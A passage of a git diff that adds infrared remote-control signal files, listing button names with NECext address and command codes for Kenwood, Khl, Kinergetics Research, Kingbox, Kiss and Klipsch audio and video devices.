KEY_FASTFORWARD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DD 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir new file mode 100644 index 000000000..bfb3a8f51 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 11 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 16 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 17 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 19 00 00 00 +# +name: pmode +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 48 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 49 00 00 00 +# +name: bboost +type: parsed +protocol: NECext +address: B6 00 00 00 +command: C1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir new file mode 100644 index 000000000..1b902f882 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 09 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 11 00 00 00 +# +name: >/|| +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 14 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 15 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 16 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 17 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/VCR/184,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/VCR/184,-1.ir new file mode 100644 index 000000000..1f334bd1d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/VCR/184,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_DISC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 08 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0D 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 56 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 82 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 83 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 84 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 85 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 86 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 87 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 88 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 89 00 00 00 +# +name: P.CALL_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8C 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8F 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: P.CALL_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: VOLUME_CTRL_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: VOLUME_CTRL_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C9 00 00 00 +# +name: CD_PLAY/PAUSE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CB 00 00 00 +# +name: CD_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CE 00 00 00 +# +name: CD_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CF 00 00 00 +# +name: TAPEA_REV_PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D0 00 00 00 +# +name: TAPEA_PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D1 00 00 00 +# +name: TAPEA_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D2 00 00 00 +# +name: TAPEA_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: TAPEA_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D5 00 00 00 +# +name: TAPEA_REC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D6 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D7 00 00 00 +# +name: TAPEB_REV_PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: TAPEB_PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D9 00 00 00 +# +name: TAPEB_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DA 00 00 00 +# +name: TAPEB_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: TAPEB_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DD 00 00 00 +# +name: TAPEB_REC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DE 00 00 00 +# +name: SURR.MODE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/VCR/184,1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/VCR/184,1.ir new file mode 100644 index 000000000..650237a83 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/VCR/184,1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: N.B. +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 4B 00 00 00 +# +name: MULTI_LVL_CTRL_V +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 54 00 00 00 +# +name: MULTI_LVL_CTRL_^ +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 55 00 00 00 +# +name: LEVEL_MODE +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 57 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: B8 01 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir new file mode 100644 index 000000000..c1dd0f3c9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: memory +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 0C 00 00 00 +# +name: auto +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 0E 00 00 00 +# +name: pscan +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 0F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 15 00 00 00 +# +name: tuneup +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 16 00 00 00 +# +name: tunedn +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 17 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 18 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 1A 00 00 00 +# +name: am_fm +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 1C 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 41 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir new file mode 100644 index 000000000..035f9c501 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 09 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0A 00 00 00 +# +name: SEEK_UP +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0B 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0C 00 00 00 +# +name: CAL_/SET +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0D 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0E 00 00 00 +# +name: SEEK_DOWN +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0F 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 10 00 00 00 +# +name: ENHANCE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 11 00 00 00 +# +name: AUX_1 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 12 00 00 00 +# +name: DOLBY/PRO_LOGIC +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 13 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 14 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 15 00 00 00 +# +name: THX_/_CINAMA +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 16 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 17 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 18 00 00 00 +# +name: AUX_2 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 19 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 1A 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 1B 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 1C 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 1D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 1E 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 1F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 21 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir new file mode 100644 index 000000000..cfb613553 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: CD-A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: CD-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: ON_-A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: ON_-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: AM/FM-A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: AM/FM-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: MUTE-A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: MUTE-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: TAPE_-A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: TAPE_-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: AUX-A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: AUX-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: TUNER_-A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: TUNER_-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: PRESET_UP_-A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: PRESET_UP_-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: PRESET_DOWN_-A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: PRESET_DOWN_-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: SEEK_UP_-A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: SEEK_UP_-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: SEEK_DOWN_-A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: SEEK_DOWN_-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: VOLUME_DOWN_-A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: VOLUME_DOWN_-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: VOLUME_UP_-A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: VOLUME_UP_-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir new file mode 100644 index 000000000..62fe701f9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: PLAY_>_(ENHANCE) +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: STOP_[]_(PROCESSOR) +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: ON/OFF +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kingbox/h265/1,254.ir b/assets/resources/infrared/_CSV-IRDB_/Kingbox/h265/1,254.ir new file mode 100644 index 000000000..fa9268842 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kingbox/h265/1,254.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 01 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 04 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 06 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 08 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0A 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0B 00 00 00 +# +name: SUBT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0C 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 0F 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 10 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 12 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 13 00 00 00 +# +name: TXT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 14 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 15 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 16 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 17 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 1A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 1C 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 1E 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 1F 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 40 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 41 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 42 00 00 00 +# +name: TVRADIO +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 43 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 44 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 45 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 46 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 47 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 4E 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 52 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 53 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 56 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 57 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 5A 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 01 FE 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir new file mode 100644 index 000000000..3ea5be6b6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: chap+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: chap- +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: del +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 29 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 2D 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 30 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 36 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 40 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 41 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 42 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 43 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 44 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 45 00 00 00 +# +name: mark +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 46 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 48 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 49 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 4A 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 4C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 50 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 51 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 55 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 56 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir b/assets/resources/infrared/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir new file mode 100644 index 000000000..d49ffacec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 00 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 01 00 00 00 +# +name: LOW_PASS_+ +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 02 00 00 00 +# +name: LOW_PASS_- +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 03 00 00 00 +# +name: PHASE_+ +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 04 00 00 00 +# +name: PHASE_- +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 05 00 00 00 +# +name: ADAPTIVE_ROOM_CORR +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 06 00 00 00 +# +name: FLAT +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 10 00 00 00 +# +name: PUNCH +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 11 00 00 00 +# +name: DEPTH +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 12 00 00 00 +# +name: USER_1_RECALL +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 1B 00 00 00 +# +name: USER_2_RECALL +type: parsed +protocol: NECext +address: 11 51 